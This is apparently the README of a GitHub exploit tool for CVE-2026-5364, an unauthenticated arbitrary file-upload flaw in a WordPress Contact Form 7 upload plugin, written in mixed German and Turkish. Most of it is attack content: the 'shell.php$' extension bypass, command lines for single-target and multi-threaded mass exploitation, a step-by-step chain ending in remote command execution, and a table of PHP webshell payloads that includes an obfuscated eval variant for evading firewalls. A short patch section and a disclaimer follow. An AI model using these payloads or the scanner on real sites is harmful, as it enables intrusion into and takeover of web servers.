
CVE-2026-5364 ist eine Schwachstelle (CVSS 8.1, High) für nicht authentifiziertes Hochladen beliebiger Dateien im Drag and Drop File Upload for Contact Form 7.
CVE-2026-5364 ist eine nicht authentifizierte Schwachstelle für beliebige Datei-Uploads (CVSS 8.1, Hoch) im Plugin „Drag and Drop File Upload for Contact Form 7“.
Nicht authentifizierter beliebiger Datei-Upload durch Umgehung von
sanitize_file_name()CVSS 8.1 (Hoch) | Betroffen: <= 1.1.3 | Behoben: 1.1.4
| Feld | Wert |
|---|---|
| CVE ID | CVE-2026-5364 |
| Plugin | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (Hoch) |
| Vektor | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Betroffen | <= 1.1.3 |
| Behoben | 1.1.4 |
| Forscher | Thomas Sanzey |
| Veröffentlichung | 23. April 2026 |
Das Plugin liest die Dateierweiterung vor der Bereinigung durch sanitize_file_name().
Ein Angreifer lädt eine Datei namens shell.php$ hoch:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← blacklist'i atlatır
sanitize_file_name('shell.php$') → 'shell.php' ← PHP olarak kaydedilir
Eine Kette aus drei unabhängigen Schwachstellen:
type wird vom Benutzer gelesenpathinfo() wird auf den rohen Dateinamen angewendetsanitize_file_name() innerhalb von wp_unique_filename() entfernt das Zeichen $git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests-Bibliothek# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com
# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"
# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive
# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD OS komutu (varsayılan: id)
--shell TYPE Webshell tipi: basic|exec|pass|eval|info
-i, --interactive İnteraktif shell aç
--no-skip-patched Yamalı sürümleri de dene
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy adresi
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
1. Nonce Tespiti
└─ wp_localize_script() ile her ziyaretçiye açık
GET /contact/ → HTML içinde "nonce":"abc123def4"
2. Shell Yükleme
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← blacklist'te yok
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL Alma
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Zeichen, die von sanitize_file_name() entfernt werden:
$ % ~ ` (boşluk)
Das Tool testet automatisch alle Bypass-Zeichen.
Aktualisieren Sie das Plugin auf 1.1.4 oder höher.
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// DOĞRU (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id); // POST'tan değil
Dieses Tool wurde ausschließlich für Sicherheitsforschung zu Bildungs- und Verteidigungszwecken entwickelt. Die Verwendung auf unbefugten Systemen ist verboten und kann rechtliche Konsequenzen haben. Verwenden Sie es nur auf Systemen, für die Sie eine Genehmigung haben.
| Typ | Payload | Verwendung |
|---|
basic | <?php system($_GET["cmd"]); ?> | Allgemeiner Zweck |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | Vollständige Ausgabe |
pass | <?php passthru($_GET["cmd"]); ?> | Binärausgabe |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | Verdeckt/WAF-Bypass |
info | <?php phpinfo(); ?> | PHP-Information |
| Faktor | Auswirkung |
|---|
Apache .htaccess (Content-Disposition: attachment) | Verhindert die PHP-Ausführung |
| Nginx / LiteSpeed | .htaccess ungültig — RCE möglich |
Zufälliger Dateiname (uniqid()) | Wirkungslos, da die AJAX-Antwort die URL zurückgibt |
| Nonce | CSRF-Schutz — keine Authentifizierung, wirkungslos |